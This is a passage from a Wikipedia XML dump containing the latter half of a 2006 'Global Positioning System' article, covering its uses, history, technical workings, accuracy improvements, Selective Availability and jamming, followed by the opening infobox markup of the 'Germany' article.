GPS allows accurate targeting of [[cruise missile]]s and [[precision-guided munition]]s (or &quot;smart bombs&quot;), as well as improved command and control of forces through improved locational awareness.  The satellites also carry nuclear detonation detectors, which form a major portion of the [[United States Nuclear Detonation Detection System]].  Commercial civilian GPS receivers are required to have limits on the velocities and altitudes at which they will report coordinates; this is to prevent them from being used to create improvised missiles.

* '''Navigation'''
[[Image:KyotoTaxiRide.jpg|thumb|right|250 px|This [[Taxicab|Taxi]] in [[Kyoto]], equipped with GPS navigation, is an example of how '''GPS''' technology can be applied in routine activities. ]]
{{main|Automotive navigation system}}
GPS is used by people around the world as a navigation aid in cars, airplanes, and ships.  The system can also be used by computer controlled harvesters, mine trucks and other vehicles. Hand-held GPS receivers can be used by mountain climbers and hikers.  Glider pilots use the logged signal to verify their arrival at turnpoints in competitions.  Low cost GPS receivers are often combined in a bundle with a [[Personal digital assistant|PDA]], car computer, or [[vehicle tracking system]]. 

* '''Surveying'''
More costly and precise receivers are used by land [[surveyors]] to locate boundaries, structures, and survey markers, and for road construction.

* '''GPS for the visually impaired'''
For information about navigation systems for the visually impaired, including MoBIC, Drishti, Brunel Navigation System for the [[blindness|Blind]], NOPPA, BrailleNote GPS, and Trekker, refer to the main article [[GPS for the visually impaired]].

* '''Geocaching'''
[[Image:GPS Receivers.jpg|thumb|GPS receivers come in a variety of formats, from devices integrated into cars, phones, and watches, to dedicated devices such those shown here from manufacturers Trimble, Garmin and Leica (respectively, left to right).]]
The availability of hand-held GPS receivers for a cost of about $90 and up ([[as of 2005|as of March 2005]]) has led to recreational applications including [[Geocaching]].  Geocaching involves using a hand-held GPS unit to travel to a specific [[longitude]] and [[latitude]] to search for objects deliberately hidden there by other Geocachers.  Geocaching often includes walking or hiking to natural locations, and is very popular.

* '''GPS on airplanes'''
Most airlines allow private use of ordinary GPS units on their flights, except during landing and take-off, like all other electronic devices.  Additionally, some airline companies disallow use of hand-held receivers for security reasons, such as unwillingness to let ordinary passengers track the flight route. On the other extreme, some airlines integrate GPS tracking of the aircraft into their aircraft's seat-back television entertainment systems, available even during takeoff and landing to all passengers.

[[Image:GPS roof antenna dsc06160.jpg|thumb|right|100px|Even fixed systems may use GPS, in order to get precise time. This antenna is mounted on the roof of a hut containing a scientific experiment needing precise timing.]]

* '''Precise time reference'''
Many [[synchronization]] systems use GPS as a source of accurate time, hence one of the most common applications of this use is that of GPS as a reference clock for [[time code]] generators or [[Network Time Protocol|NTP]] clocks. For instance, when deploying [[sensor]]s (for [[seismology]] or other monitoring application), GPS may be used to provide each recording apparatus with some precise time source, so that the time of events may be recorded accurately.

The [[atomic clock]]s on the satellites are set to &quot;GPS time&quot;, which is the number of seconds since [[midnight|00:00:00]] [[Coordinated Universal Time|UTC]], [[January 6]], [[1980]]. Today, GPS time is 14 seconds ahead [http://www.navcen.uscg.gov/gps/UTC_time_step_dec_2005.htm] of [[Coordinated Universal Time|UTC]], because it does not follow [[leap second]]s. Receivers thus apply a clock-correction offset (which is periodically transmitted along with the other data) in order to display UTC correctly, and optionally adjust for a local time zone. New GPS units will initially show the incorrect time after achieving a GPS lock for the first time. However, this is usually corrected on the display within 15 minutes once the UTC offset message is received for the first time.

==History==
The inspiration for the GPS system came when the [[Soviets]] launched the first [[Sputnik]] in 1957.  A team of U.S. scientists led by Dr. Richard B. Kershner were monitoring Sputnik's radio transmissions.  They discovered that, due to the [[Doppler effect]], the frequency of the signal being transmitted by Sputnik was higher as the satellite approached, and lower as it continued away from them.  They realized that since they knew their exact location on the globe, they could pinpoint where the satellite was along its orbit by measuring the Doppler distortion.  It was only a small leap of logic to realize that the converse was also true; if the satellite's position was known then they could identify their own position on Earth.

The first satellite navigation system, [[Transit (satellite)|Transit]], used by the US Navy, was first successfully tested in 1960.  Using a constellation of five satellites, it could provide a navigational fix approximately once per hour.

The first experimental Block-I GPS satellite was launched in February 1978 [http://www.hydrographicsociety.org/Articles/journal/2002/104-1.htm].  The GPS satellites were initially manufactured by [[Rockwell]] and now manufactured by [[Lockheed Martin]]. 

In 1983, after Soviet [[interceptor aircraft|jet interceptors]] shot down the civilian airliner [[KAL 007]] in restricted Soviet airspace, killing all 269 people on board, [[Ronald Reagan]] announced that the GPS system would be made available for civilian uses once it was completed.

By 1985, ten more experimental Block-I satellites had been launched to validate the concept.  The first modern Block-II satellite was launched on 14th February 1989, and a complete constellation of 24 satellites was in orbit by 17th January 1994. 

[http://netlab18.cis.nctu.edu.tw/html/paper/2001_11_06/Challenges%20in%20bringing%20GPS%20to%20Mainstream%20Consumers.pdf].  The most recent launch was in September 2005.  The oldest GPS satellite still in operation was launched in February 1989.

== Technical description ==
===Satellites===
[[Image: Global Positioning System satellite.jpg|200px|right|thumb|GPS satellite on test rack]]
The GPS system uses a [[satellite constellation]] of 24 satellites in [[intermediate circular orbit]]s.  The orbits are designed so at least four satellites are always within [[line of sight]] from almost any place on earth. [http://electronics.howstuffworks.com/gps1.htm]  
Each satellite circles the Earth twice each day at an altitude of 20,200 [[kilometre]]s (12,600 miles).  There are four satellites in each of six [[Orbital plane (astronomy)|orbital plane]]s.  The constellation also includes three spare satellites in orbit.  Each orbit is [[inclination|inclined]] 55 degrees from the [[equator|equatorial]] plane, and the [[right ascension]] of the ascending nodes are separated by sixty degrees. [http://www.colorado.edu/geography/gcraft/notes/gps/gif/oplanes.gif]

The flight paths of the satellites are measured by five monitor stations around the world (Hawaii, Kwajalein, Ascension Island, Diego Garcia, Colorado Springs).  The master control station, at [[Schriever AFB]], processes their combined observations and sends updates to the satellites through the stations at Ascension Island, Diego Garcia, Kwajalein.  The updates synchronize the atomic clocks onboard each satellite to within one [[microsecond]], and also adjust the [[ephemeris]] of the satellites' internal orbitial model to match the observations of the satellites from the ground.  [http://tycho.usno.navy.mil/gpsinfo.html]

Each satellite repeatedly re-broadcasts the exact time acording to it's internal atomic clock along with a digital data packet.  The data includes the [[orbital elements]] of the satellite's precise position, satellite status messages, and an almanac of the approximate position of every other active GPS satellite.  The almanac lets GPS receivers use data from the strongest satellite signal to locate other satellites.

===Receivers===
GPS receivers calculate their current position ([[latitude]], [[longitude]], [[elevation]]), and the precise time, using the process of [[trilateration]] after measuring the distance to at least four satellites by comparing the satellites' coded time signal transmissions.  The receiver calculates the orbit of each satellite based on information encoded in their radio signals, and measures the distance to each satellite, called a [[pseudorange]], based on the time delay from when the satellite signals were sent until they were received.

In order to measure the delay, the satellite repeatedly sends a 1,023 [[bit]] long [[pseudorandom number generator|pseudo random sequence]]; the receiver calculates an identical sequence from a known [[random seed|seed number]], and shifts it until the two sequences match. Each satellite uses a different sequence, which lets them  share the same radio frequencies, using [[CDMA|Code Division Multiple Access]], while still allowing receivers to identify each satellite.   

Once the location and distance of each satellite is known, the receiver should theoretically be located at the intersection of four imaginary [[sphere]]s, one around each satellite, with a radius equal to the time delay between the satellite and the receiver multiplied by the speed of the radio signals. In practice, GPS calculations are more complex for several reasons.  One complication is that GPS receivers do not have atomic clocks, so the precise time is not known when the signals arrive.  Fortunately, even the relatively simple clock within the receiver provides an accurate comparison of the timing of the signals from the different satellites.  The receiver is able to determine exactly when the signals were received by adjusting its internal clock (and therefore the spheres' radii) so that the spheres intersect near one point.

One of biggest problems for GPS accuracy is that changing atmospheric conditions change the speed of the GPS signals unpredictably as they pass through the [[ionosphere]]. The effect is minimized when the satellite is directly overhead and becomes greater toward the horizon, as the satellite signals must travel through the greater &quot;thickness&quot; of the ionosphere as the angle increases.  Once the receiver's rough location is known, an internal mathematical model can be used to estimate and correct for the error.

Because ionospheric delay affects the speed of radio waves differently based on their frequencies, a second frequency band was added to help eliminate this type of error.  Newer GPS receivers can compare the phase difference between the L1 and L2 frequencies to actually measure the atmospheric effects on the signals and apply precise corrections.{{fact}}

GPS signals can also be affected by multipath reflections of the radio signals off the ground and/or surrounding structures (buildings, canyon walls, etc).  For long delay multipath signals, the receiver itself can filter the signals out.  A variety of receiver techniques, most notably [[Narrow Correlator spacing]], have been developed to mitigate multipath errors. For shorter delay multipath signals that result from reflections from the ground, special antenna features may be used such as a ground plane, or a choke ring antenna.  Shorter multipath signals from ground reflections can often be very close to the direct signals, and can greatly reduce precision.

===Frequencies===
Several frequencies make up the GPS [[electromagnetic spectrum]]:

* L1 (1575.42 [[megahertz|MHz]]):&lt;BR&gt;Carries a publicly usable coarse-acquisition (C/A) code as well as an encrypted precision P(Y) code.
* L2 (1227.60 MHz):&lt;BR&gt;Usually carries only the P(Y) code.  The encryption keys required to directly use the P(Y) code are tightly controlled by the U.S. government and are generally provided only for military use. The keys are changed on a daily basis. In spite of not having the P(Y) code encryption key, several high-end GPS receiver manufacturers have developed techniques for utilizing this signal (in a round-about manner) to increase accuracy and remove error caused by the ionosphere. Recognizing the civilian need for increased accuracy, &quot;modernized&quot; IIR-M (IIR-14 (M) and later) satellites carry a civilian signal interleaved with an improved military signal on both the L1 and L2 frequencies. 
* L3 (1381.05 MHz):&lt;BR&gt;Carries the signal for the GPS constellation's alternative role of detecting missile/rocket launches (supplementing [[Defense Support Program]] satellites), nuclear detonations, and other high-energy infrared events.
* L4 (1841.40 MHz):&lt;BR&gt;Being studied for additional ionospheric correction.
* L5 (1176.45 MHz):&lt;BR&gt;Proposed for use as a civilian safety-of-life (SoL) signal. This frequency falls into an internationally protected range for aeronautical navigation, promising little or no interference under all circumstances. The first Block IIF satellite that would provide this signal is set to be launched in 2007.

===GPS and relativity===
The clocks on the satellites are also affected by both [[special relativity|special]] and [[general relativity]], which causes them to run at a slightly faster rate than do clocks on the Earth's surface. This amounts to a discrepancy of around 38 microseconds per day, which is corrected by electronics on each satellite. This offset is a practical demonstration of the theory of relativity in a real-world system; it is exactly that predicted by the theory, within the limits of accuracy of measurement.

Neil Ashby presented a good account of how these relativistic corrections are applied, why, and their orders of magnitude, in ''Physics Today'' (May 2002) [http://www.ipgp.jussieu.fr/~tarantola/Files/Professional/GPS/Neil_Ashby_Relativity_GPS.pdf]. Whether relativity must be considered as a mere correction to a Newtonian GPS theory, or, rather, as the necessary foundation of a cleaner (and more fundamental) GPS theory, is currently under debate. Bartolomé Coll has recently developed the basic notions necessary for a fully relativistic theory of Positioning Systems [http://www.coll.cc].

===Awards===
Two GPS developers have received the [[United States National Academy of Engineering|National Academy of Engineering]] [[Charles Stark Draper]] prize year 2003:  

*[[Ivan Getting]], emeritus president of [http://www.aero.org/home.html The Aerospace Corporation] and [[engineer]] at the [[Massachusetts Institute of Technology]] established the basis for GPS, improving on the [[World War II]] land-based radio system called [[LORAN]] ('''Lo'''ng-range '''R'''adio '''A'''id to '''N'''avigation).
*[[Bradford Parkinson]], teacher of [[aeronautics]] and [[astronautics]] at [[Stanford University]] developed the system.

On [[February 10]], [[1993]], the [[National Aeronautic Association]] selected the Global Positioning System Team as winners of the 1992 [[Collier Trophy|Robert J. Collier Trophy]], the most prestigious aviation award in the United States. This team consists of researchers from the [[Naval Research Laboratory]], the [[U.S. Air Force]], the [[Aerospace Corporation]], [[Rockwell International|Rockwell International Corporation]], and [[IBM]] Federal Systems Company. The citation accompanying the presentation of the trophy honors the GPS Team &quot;for the most significant development for safe and efficient navigation and surveillance of air and spacecraft since the introduction of radio navigation 50 years ago.&quot;

==Techniques to improve GPS accuracy==
The accuracy of GPS can be improved in a number of ways:

* '''[[Differential GPS| Differential GPS]]''' '''(DGPS)''' can improve the normal GPS accuracy of 4-20 meters to 1-3 meters.[http://www.tfhrc.gov/its/ndgps/02072.htm]  DGPS uses a network of stationary GPS receivers to calculate the difference between their actual known position and the position as calculated by their received GPS signal.  The &quot;difference&quot; is broadcast as a local [[FM]] signal, allowing many civilian GPS receivers to &quot;fix&quot; the signal for greatly improved accuracy.
* The [[Wide Area Augmentation System]] ('''WAAS'''). This uses a series of ground reference stations to calculate GPS correction messages, which are uploaded to a series of additional satellites in geosynchronous orbit for transmission to GPS receivers, including information on [[ionosphere|ionospheric]] delays, individual satellite clock drift, and suchlike. Although only a few WAAS satellites are currently available [[as of 2004]], it is hoped that eventually WAAS will provide sufficient reliability and accuracy that it can be used for critical applications such as GPS-based instrument approaches in aviation (landing an airplane in conditions of little or no visibility).  The current WAAS system only works for North America (where the reference stations are located), and due to the satellite location the system is only generally usable in the eastern and western coastal regions.  However, variants of the WAAS system are being developed in Europe ([[EGNOS]], the Euro Geostationary Navigation Overlay Service), and Japan ('''MSAS''', the Multi-Functional Satellite Augmentation System), which are virtually identical to WAAS.
* A [[Local Area Augmentation System]] ('''LAAS'''). This is similar to WAAS, in that similar correction data are used. But in this case, the correction data are transmitted from a local source, typically at an airport or another location where accurate positioning is needed. These correction data are typically useful for only about a thirty to fifty kilometer radius around the transmitter.
* Exploitation of DGPS for Guidance Enhancement ('''EDGE''') is an effort to integrate DGPS into precision guided munitions such as the [[Joint Direct Attack Munition]] ('''JDAM''').
* A Carrier-Phase Enhancement ('''CPGPS'''). This technique utilizes the 1.575 GHz L1 carrier wave to act as a sort of [[clock signal]], resolving ambiguity caused by variations in the location of the pulse transition (logic 1-0 or 0-1) of the C/A [[Pseudorandom number generator|PRN]] signal. The problem arises from the fact that the transition from 0-1 or 1-0 on the C/A signal is not instantaneous, it takes a non-zero amount of time, and thus the [[cross-correlation|correlation]] (satellite-receiver sequence matching) operation is imperfect. A successful correlation could be defined in a number of various places along the rising/falling edge of the pulse, which imparts timing errors. CPGPS solves this problem by using the L1 carrier, which has a period 1/1000 that of the C/A bit width, to define the transition point instead. The phase difference error in the normal GPS amounts to a 2-3 m ambiguity. CPGPS working to within 1% of perfect transition matching can achieve 3 mm ambiguity; in reality, CPGPS coupled with [[Differential GPS|DGPS]] normally realizes 20-30 cm accuracy.
* Wide Area GPS Enhancement ('''WAGE''') is an attempt to improve GPS accuracy by providing more accurate satellite clock and [[ephemeris]] (orbital) data to specially-equipped receivers.
* Relative Kinematic Positioning ('''RKP''') is another approach for a precise GPS-based positioning system. In this approach, accurate determination of range signal can be resolved to an accuracy of less than 10 [[centimetre]]s. This is done by resolving the number of cycles in which the signal is transmitted and received by the receiver. This can be accomplished by using a combination of differential GPS (DGPS) correction data, transmitting GPS signal phase information and ambiguity resolution techniques via statistical tests&amp;mdash;possibly with processing in real-time ([[Real Time Kinematic|real-time kinematic positioning]], RTK).
* Many automobile GPS systems combine the GPS unit with a gyroscope and speedometer pickup, allowing the computer to maintain a continuous navigation solution by dead reckoning when buildings, terrain, or tunnels block the satellite signals.  This is similar in principle to the combination of GPS and inertial navigation used in ships and aircraft, but less accurate and less expensive because it only fills in for short periods.

==Selective availability==
When it was first deployed, GPS included a feature called '''Selective Availability''' (or '''SA''') that introduced intentional errors of up to a hundred meters into the publicly available navigation signals, making it difficult to use for guiding long range missiles to precise targets.  Additional accuracy was available in the signal, but in an encrypted form that was only available to the United States military, its allies and a few others, mostly government users. 

SA typically added signal errors of up to about 10 m horizontally and 30 m vertically. The inaccuracy of the civilian signal was deliberately encoded so as not to change very quickly, for instance the entire eastern US area might read 30 m off, but 30 m off everywhere and in the same direction.  In order to improve the usefulness of GPS for civilian navigation, '''[[Differential GPS| Differential GPS]]''' was used by many civilian GPS receivers to greatly improve accuracy.

During the [[Gulf War]], the shortage of military GPS units and the wide availability of civilian ones among personnel resulted in disabling the Selective Availability.  In the 1990s the [[Federal Aviation Administration|FAA]] started pressuring the military to turn off SA permanently. This would save the FAA millions of dollars every year in maintenance of their own, less accurate, [[radio navigation]] systems.  The military resisted for most of the 1990s, but SA was eventually [http://www.ostp.gov/html/0053_2.html turned off] in 2000 following an announcement by then US President [[Bill Clinton]], allowing all users to enjoy nearly the same level of access. [http://www.ngs.noaa.gov/FGCS/info/sans_SA/docs/GPS_SA_Factsheet.pdf]

The US military maintains the ability to use a more advanced version of Selective Availability, called '''&quot;Selective Deniability&quot;''', to reduce the accuracy of civilian GPS units in a specific area without affecting the rest of the world.  The original SA system could only limit the accuracy of GPS signals world-wide, or not at all.  Authorized military units are still able to decrypt the corrected signals using a tamper-resistant hardware module called an [[SAASM]], '''Selective Availability / Anti-Spoofing Module'''. 

Military (and selected civilian) users still enjoy some technical advantages which can give quicker satellite lock and increased accuracy. The increased accuracy comes mostly from being able to use both the L1 and L2 frequencies and thus better compensate for the varying signal delay in the ionosphere (see above). 

*[http://www.ngs.noaa.gov/FGCS/info/sans_SA/docs/GPS_SA_Factsheet.pdf noaa.gov Selective Availability Factsheet (pdf)] or [http://www.ngs.noaa.gov/FGCS/info/sans_SA/]

==GPS tracking==
{{main|GPS tracking}}
A GPS tracking system uses GPS to determine the location of a vehicle, person, or pet and to record the position at regular intervals in order to create a track file or log of activities.  The recorded data can be stored within the tracking unit, or it may be transmitted to a central location, or internet-connected computer, using a cellular modem, 2-way [[radio]], or satellite.  This allows the data to be reported in [[real-time]], using either web browser based tools or customized software.

==GPS jamming== 
A large part of modern  munitions, the so-called &quot;''smart bombs''&quot; or [[precision-guided munition]]s, use GPS.  GPS jammers are available, from [[Russia]], and are about the size of a cigarette box.  The [[government of the United States |U.S. government]] believes that such jammers were used occasionally during the [[U.S. invasion of Afghanistan]].  Some officials believe that jammers could be used to attract the precision-guided munitions towards [[noncombatant]] infrastructure, other officials believe that the jammers are completely ineffective.  In either case, the jammers are attractive targets for [[anti-radiation missile]]s.

The U.S. Air Force conducted GPS jamming exercises in 2003. A detailed description of how to build a GPS jammer was posted on a hackers' site by an anonymous author. And there has been at least one well-documented case of unintentional jamming; if similar, but stronger, signals were generated on purpose, they could interfere with aviation GPS receivers at a range of 50 km. According to the reference below, &quot;IFR pilots should have a fallback plan in case of a GPS malfunction&quot;.

There were also incidents of unintentional jamming, traced back to malfunctioning TV antenna preamplifiers.

* [http://www.avweb.com/news/avionics/182754-1.html GPS jamming]
* [http://www.gpsworld.com/gpsworld/article/articleDetail.jsp?id=43404&amp;&amp;pageID=1 The hunt for an unintentional GPS jammer]
* [http://www.defense-update.com/products/g/gps-aj.htm GPS Anti-Jamming Protection]

== Other systems ==
Russia operates an independent system called [[GLONASS]] ('''glo'''bal '''na'''vigation '''s'''ystem), although with only twelve active satellites [[as of 2004]], the system is of limited usefulness.  There are plans to restore GLONASS to full operation by 2008.  The [[European Union]] is developing [[Galileo positioning system|Galileo]] as an alternative to GPS, planned to be in operation by 2010.  China and France are also developing [[satellite navigation system|other satellite navigation systems]].

{{GPS}}

==See also==
{{commonscat|Global Positioning System}}
*[[Geographic coordinate system]]
*[[EGNOS]] - European equivalent of WAAS
*[[Wikipedia:WikiProject Geographical coordinates|Wikipedia Geographical coordinates project]] - adding [[Geographic coordinate system|geographic coordinates]] to WikiPedia articles
*[[Air traffic control]]
*[[Allan variance]]
*[[Automatic Dependent Surveillance-Broadcast]] (also called ADS-B)
*[[AGPS]]
*[http://confluence.org Degree confluence project] Use GPS to visit integral degrees of latitude and longitude. Pictures and narrative for each one.
*[[Geodashing]]
*[[GSM localization]]
*[[GPX]] - GPS eXchange Format
*[[Location based media]]
*[[Mobile phone]] integration
*[[Trilateration]] - the mathematical technique used for GPS location
*[[Commercialization of space]]
*[[Open Geospatial Consortium]] (OpenGIS)
*[[RAIM]]
*[[Waypoint]]
*[http://meta.wikimedia.org/wiki/WikiGPS WikiGPS], [[Wikimedia Foundation|Wikimedia]] proposed project.
*[[World Geodetic System]] - '''WGS 84''' defines a global reference frame for GPS

==External links==
===References===
* [http://www.colorado.edu/geography/gcraft/notes/gps/gps_f.html Peter H. Dana: Global Positioning System Overview] - Large amount of technical information and discussion.
* [http://www.navcen.uscg.gov/pubs/gps/sigspec/default.htm GPS SPS Signal Specification, 2nd Edition] - The official (civilian) signal specification.
* [http://www.astronautix.com/project/navstar.htm History of GPS], including information about each satellite's configuration and launch.
* [http://www.navcen.uscg.gov/ftp/gps/ARCHIVES/gpsdoc/IOCLTR.TXT Announcement of Initial Operational Capability, December 1993]
* U.S. Army Corps of Engineers manual: [http://www.usace.army.mil/inet/usace-docs/eng-manuals/em1110-1-1003/toc.htm NAVSTAR HTML] and [http://www.usace.army.mil/inet/usace-docs/eng-manuals/em1110-1-1003/entire.pdf PDF (22.6 MB, 328 pages)]
* [http://gpsinformation.net/airgps/gpsrfi.htm Is it Safe to use a handheld GPS Receiver on a Commercial Aircraft?] - Discusses the safety of  personal use of a GPS on commercial aircraft.
*[http://electronics.howstuffworks.com/gps1.htm How Stuff Works] - Explanation about How GPS works
* [http://www.palowireless.com/gps/ Palowireless GPS Resource Center] Articles, news and resources.
* [http://netlab18.cis.nctu.edu.tw/html/paper/2001_11_06/Challenges%20in%20bringing%20GPS%20to%20Mainstream%20Consumers.pdf The Global Positioning System: Challenges in Bringing GPS to Mainstream Consumers] Technical Article by Kanwar Chadha, BSEE (1998)

* [http://www.navcen.uscg.gov/gps/default.htm USCG Navigation Center]: Status of the GPS constellation, government policy, and links to other references.  Also includes satellite [[almanac]] data.
* [https://www.schriever.af.mil/gps/archive/2005/ Schriever Airforce Base Webserver]: Even more up-to-date almanac data and NANUs
* [http://www.igeb.gov/ Interagency GPS Executive Board] - Established in 1996 to manage GPS across the various stakeholder agencies.
* [http://gps.losangeles.af.mil/ The GPS Joint Program Office (GPS JPO)] - Still exists and distinct from IGEB.
* The [[Federal Aviation Administration|FAA]] has more information on GPS, WAAS, LAAS, and DGPS at http://gps.faa.gov/FAQ/index.htm
* [http://www.defense-update.com/products/g/gps-guidance.htm GPS Weapon Guidance Techniques]
* [http://gps.faa.gov/Library/waas-f-text.htm FAA WAAS fact-sheet]

===Software===
* [http://www.gpsinformation.org/dale/Palm/pilotgps.htm Dale Priest's guide to navigation with GPS and Palm PDAs]
* [http://www.mgix.com/gps3d GPS3d, a 3D gps visualization tool]
* [http://gpsd.berlios.de/ GPSd, a GPS daemon program]
* [[GpsDrive]], [http://www.kraftvoll.at/software/ external link] - '''GNU''' Map-based navigation system. It displays your position on a zoomable map provided from a [[NMEA]]-capable GPS receiver.
* [http://www.gpstk.org GPSTk: A free Open Source GPS Toolkit]
* [http://www.gpsvisualizer.com/ GPS Visualizer] - A free online utility that creates maps and profiles in [[Scalable Vector Graphics|SVG]], JPEG/PNG, or Google Maps/Google Earth format from GPS waypoints and tracks.
* [http://www.magnalox.net Magnificient Logs] - Create interactive GPS logs online, find photo location by linking GPS and [[Exif]] timestamp.
* [http://www.opanda.com/en/iexif/index.html Opanda IExif] - a handy tool for viewing detailed GPS data in digital image in Windows Local folder &amp; Internet Explorer &amp; Mozilla Firefox &amp; ACDSee.
* [http://www.opanda.com/en/pe/index.html Opanda PowerExif Editor] - a powerful editer for adding GPS data into Exif tags of digital images or modifying the GPS data in digital images freely and easily.
* [http://www.bernese.unibe.ch/index.html Bernese GPS Software] - scientific GPS/GLONASS post processing package
* [http://www.microsoft.com/streets/default.mspx Microsoft Streets &amp; Trips with GPS Locator]
* [http://www.globaltrackingtech.com Global Tracking Technologies' Global GPS tracking system platform]

===Makers of popular GPS hardware and vehicle navigation systems===
* [http://www.alpine1.com/ Alpine]
* [http://www.clarion.com/ Clarion]
* [http://www.cobra.com/ Cobra]
* [http://www.eclipse-web.com/ Fujitsu Ten]
* [http://www.garmin.com/ Garmin]
* [http://www.lowrance.com/ Lowrance Electronics]
* [http://www.magellangps.com/ Magellan]
* [http://www.mobilecrossing.com/ Mobile Crossing]
* [http://www.pioneerelectronics.com/ Pioneer Electronics]
* [http://www.tomtom.com/ TomTom]
* [http://www.vdodayton.com/ VDO Dayton]
* [http://www.pharosgps.com/ pharos]

===GPS software for car navigation===
* [http://www.alk.com/copilot/ CoPilot]
* [http://www.scytex.com/ Navi BT GPS Scytex]
* [http://www.pocketgps.ru/ PocketGPS Pro Moscow]
* [http://www.tomtom.com/ TomTom]
* [http://www.shop.viamichelin.co.uk/csasp_editorial.asp?ID=96 ViaMichelin Navigation]

===Hardware===
* [http://www.jakeludington.com/ask_jake/20050620_gps_buying_guide.html GPS Buying Guide] - A guide to selecting the right consumer GPS receiver based on intended use.
*[http://www.galleon.eu.com/products/ts.htm GPS Time Server solutions] Time Server solutions for all your computer time Synchronisation needs
* [http://www.septentrio.com/ Septentrio] - Makers of high-end receivers for precise applications
* [http://www.u-blox.com/products/index.html u-blox GPS products (chipsets, modules, receiver boards, antennas and accessories)]
* [http://www.timetools.co.uk GPS NTP Server] GPS time servers and NTP servers for computer network timing.
* [http://www.goandtrack.com Tracking Device Information] GPS tracking devices reviewed for a number of vertical market applications such as personal, vehicle and container tracking

===Usenet newsgroups===
* sci.geo.satellite-nav [news:sci.geo.satellite-nav Direct] or via the [http://groups-beta.google.com/group/sci.geo.satellite-nav Google Groups] web site.
* uk.rec.gps [news:uk.rec.gps Direct] or via the [http://groups-beta.google.com/group/uk.rec.gps Google Groups] web site.

===Other information===
* [http://www.u-blox.com/technology/GPS-X-02007.pdf u-blox GPS Tutorial] &amp;mdash; Tutorial designed to introduce you to the principles behind GPS
* [http://www.geoplace.com Geoplace] &amp;mdash; GPS &amp; GIS Industry information
* [http://www-astronomy.mps.ohio-state.edu/~pogge/Ast162/Unit5/gps.html GPS and Relativity]
* [http://www.livingreviews.org/lrr-2003-1/ Neil Ashby: &quot;Relativity in the Global Positioning System&quot;]
* [http://www.trimble.com/gps/ Trimble's Online GPS Tutorial] &amp;mdash; excellent introduction for newbies
* [http://www.dbartlett.com The Practical Guide to GPS UTM]
* [http://www.navcen.uscg.gov/gps/geninfo/y2k/gpsweek.htm Information on the GPS week rollover]
* [http://www.all-gps.info GPS Articles]
* [http://www.rand.org/publications/MR/MR614/MR614.appb.pdf PDF document on the history of the GPS system]
* [http://en.giswiki.de/index.php/Global_Positioning_System GISWiki] Tutorials and News (in German)
* [http://groups.yahoo.com/group/macmap/ MacMap Discussion Group] GPS on Macintosh platform; e-mail
* [http://www.openstreetmap.org/ Open Street Map] - a wiki street map project, a work in progress (creative commons license)
* [http://www.gpsprimer.net The GPS Primer - a simple, practical summary of GPS Receivers, their functions and pitfalls.]
* [http://www.gpstrackingsolutions.blogspot.com Latest GPS Tracking Industry News]
* [http://www.eurekalert.org/pub_releases/2005-11/nrl-par112205.php National Medal of Technology for GPS] &amp;mdash; President announces Roger Easton is recipient of National Medal of Technology for work on GPS

===Wearable GPS solutions===
* [http://www.streetsandtripskicksass.com/site-streetsandtripskicksass/howtos/1700-backpack/ How to build a GPS backpack]
* [http://www.reviewsonline.com/xybsj1.htm Wrist mounted GPS]

{{Link FA|bg}}

[[Category:GPS| ]]

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[[uk:GPS]]</text>
    </revision>
  </page>
  <page>
    <title>Germany</title>
    <id>11867</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42157328</id>
      <timestamp>2006-03-04T04:57:59Z</timestamp>
      <contributor>
        <username>Cvieg</username>
        <id>736477</id>
      </contributor>
      <comment>/* Division and reunification (1945–1990) */</comment>
      <text xml:space="preserve">&lt;!--Use en-UK spelling--&gt;{{Infobox Country|
native_name = Bundesrepublik Deutschland&lt;br /&gt;Federal Republic of Germany |
common_name = Germany |
national_motto = [[Das Lied der Deutschen|''Einigkeit und Recht und Freiheit'']]
([[German language|German]]: &quot;Unity and Justice and Freedom&quot; ) |
national_anthem = The third stanza of &quot;[[Das Lied der Deutschen]]&quot; |
&lt;!--The official national anthem of Germany is ONLY the third stanza! source: http://www.bundesregierung.de/Bundesregierung/-,8394/Nationalhymne.htm--&gt;
image_flag = Flag of Germany.svg |
image_coat = Bundesadler.png |
image_map = LocationGermany.png |
capital = [[Berlin]] |latd=52|latm=31|latNS=N|longd=13|longm=24|longEW=E|
largest_city = [[Berlin]] |
official_languages = [[German language|German]] &lt;sup&gt;1&lt;/sup&gt;|
government_type = [[Federal Republic]] |
leader_titles = [[President of Germany|President]]&lt;br&gt;[[Chancellor of Germany|Chancellor]]&lt;br&gt;[[Vice-Chancellor of Germany|Vice Chancellor]] |
leader_names = [[Horst Köhler]]&lt;br&gt;[[Angela Merkel]] ([[CDU]])&lt;br&gt; [[Franz Müntefering]] ([[SPD]]) |
establishment of the German Nationalstate = 18. Januar 1871 |
establishment of the Weimarer Republik = 9. November 1918 |
establishment of the Bundesrepublik with GDR = 3. October 1990 |
sovereignty_type = [[German Empire|Formation]]|
established_events =  &amp;nbsp;[[Holy Roman Empire]]&lt;br&gt;&amp;nbsp;[[German Empire]]&lt;br&gt;&amp;nbsp;[[Federal Republic of Germany|Division]]&lt;br&gt;&amp;nbsp;[[German reunification|Reunification]] |
established_dates = &lt;br&gt;843 ([[Treaty of Verdun]])&lt;br&gt;[[18 January]] [[1871]]&lt;br&gt;[[23 May]] [[1949]]&lt;br&gt;[[3 October]] [[1990]] |
area = 357,050 |
area_rank = 63rd |
area_magnitude = 1 E11 |
percent_water = 2.416 |
population_estimate = 82,515,988 |
population_estimate_year = 2005 |
population_estimate_rank = 14th |
population_census = N/A |
population_census_year = 2000|
population_density = 231.1 |
population_density_rank = 34th |
GDP_PPP_year = 2005 |
GDP_PPP = $2.446 [[trillion]] |
GDP_PPP_rank = 5th |
GDP_PPP_per_capita = $29,700 |
GDP_PPP_per_capita_rank = 25th |
HDI_year=2003 |
HDI=0.930 |
HDI_rank=20th |
HDI_category=&lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt; |
currency = [[Euro]] (€) &lt;sup&gt;2&lt;/sup&gt; |
currency_code = EUR |
time_zone = CET |
utc_offset = +1 |
time_zone_DST = CEST |
utc_offset_DST = +2 |
cctld = [[.de]]  [http://www.deutschland.de www.deutschland.de] |
calling_code = 49 |
footnotes = &lt;sup&gt;1&lt;/sup&gt; [[Danish language|Danish]], [[Low German]], [[Sorbian language|Sorbian]], [[Romany language|Romany]] and [[Frisian language|Frisian]] are officially recognised and protected as minority languages by the [[European Charter for Regional or Minority Languages|ECRML]].
&lt;sup&gt;2&lt;/sup&gt; Prior to 2002: [[Deutsche Mark]] |
}}

